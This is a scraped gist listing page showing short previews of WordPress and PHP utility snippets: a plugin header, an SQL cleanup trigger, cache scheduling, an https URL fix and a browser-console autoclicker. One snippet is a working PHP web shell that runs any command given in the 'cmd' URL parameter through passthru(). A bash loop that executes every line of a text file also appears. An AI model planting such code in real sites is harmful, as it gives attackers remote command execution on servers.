This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Plugin Name: Intuitive Custom Post Order | |
* Plugin URI: http://hijiriworld.com/web/plugins/intuitive-custom-post-order/ | |
* Description: Intuitively, Order Items (Posts, Pages, ,Custom Post Types, Custom Taxonomies, Sites) using a Drag and Drop Sortable JavaScript. | |
* Version: 3.1.5 | |
* Author: hijiri | |
* Author URI: http://hijiriworld.com/web/ | |
* Text Domain: intuitive-custom-post-order | |
* Domain Path: /languages |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( !empty($_GET['cmd'])) { | |
passthru( $_GET['cmd'] ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function export_object($value, string $indent = '') | |
{ | |
switch (true) { | |
case \is_int($value) || \is_float($value): return var_export($value, true); | |
case [] === $value: return '[]'; | |
case false === $value: return 'false'; | |
case true === $value: return 'true'; | |
case null === $value: return 'null'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Replace wp_postmeta and wp_posts with your prefix table | |
CREATE TRIGGER `remove_orphan_post` AFTER DELETE ON `wp_posts` | |
FOR EACH ROW BEGIN IF ('post' = old.post_type) THEN | |
DELETE FROM wp_postmeta WHERE wp_postmeta.post_id = old.ID; | |
END IF; END |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('docketcache_flush_every_hour', 'wp_cache_flush'); | |
if (!wp_next_scheduled('docketcache_flush_every_hour')) { | |
wp_schedule_event(time(), 'hourly', 'docketcache_flush_every_hour'); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
FIFO="/path-to-ss_cmd.txt"; | |
LIST="$(sort -u $FIFO)"; | |
for CMD in $LIST; do | |
$CMD | |
done | |
rm $FIFO; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Exec | |
// call: do_action('ss_cmd', 'cmd1'); | |
add_action('ss_cmd', function($cmd) { | |
switch($cmd) { | |
case 'cmd1': | |
return shell_exec('cmd1'); | |
break; | |
case 'cmd2': |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Reference/source: http://stackoverflow.com/a/1464155/933782 | |
* | |
* I want a short alphanumeric hash that’s unique and who’s sequence is difficult to deduce. | |
* I could run it out to md5 and trim the first n chars but that’s not going to be very unique. | |
* Storing a truncated checksum in a unique field means that the frequency of collisions will increase | |
* geometrically as the number of unique keys for a base 62 encoded integer approaches 62^n. | |
* I’d rather do it right than code myself a timebomb. So I came up with this. | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('plugins_loaded', function() { | |
if ( is_multisite() ) { | |
$sites = get_sites(); | |
foreach ( $sites as $site ) { | |
switch_to_blog( $site->blog_id ); | |
$old_siteurl = get_option('siteurl'); | |
$old_homeurl = get_option('home'); | |
$new_siteurl = str_replace('http://', 'https://', $old_siteurl); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
1) Open https://popcat.click | |
2) Open console (F12) | |
3) Insert code | |
*/ | |
function run_pcat() { | |
var event = new KeyboardEvent( 'keydown', { | |
key: 'g', | |
ctrlKey: true |
NewerOlder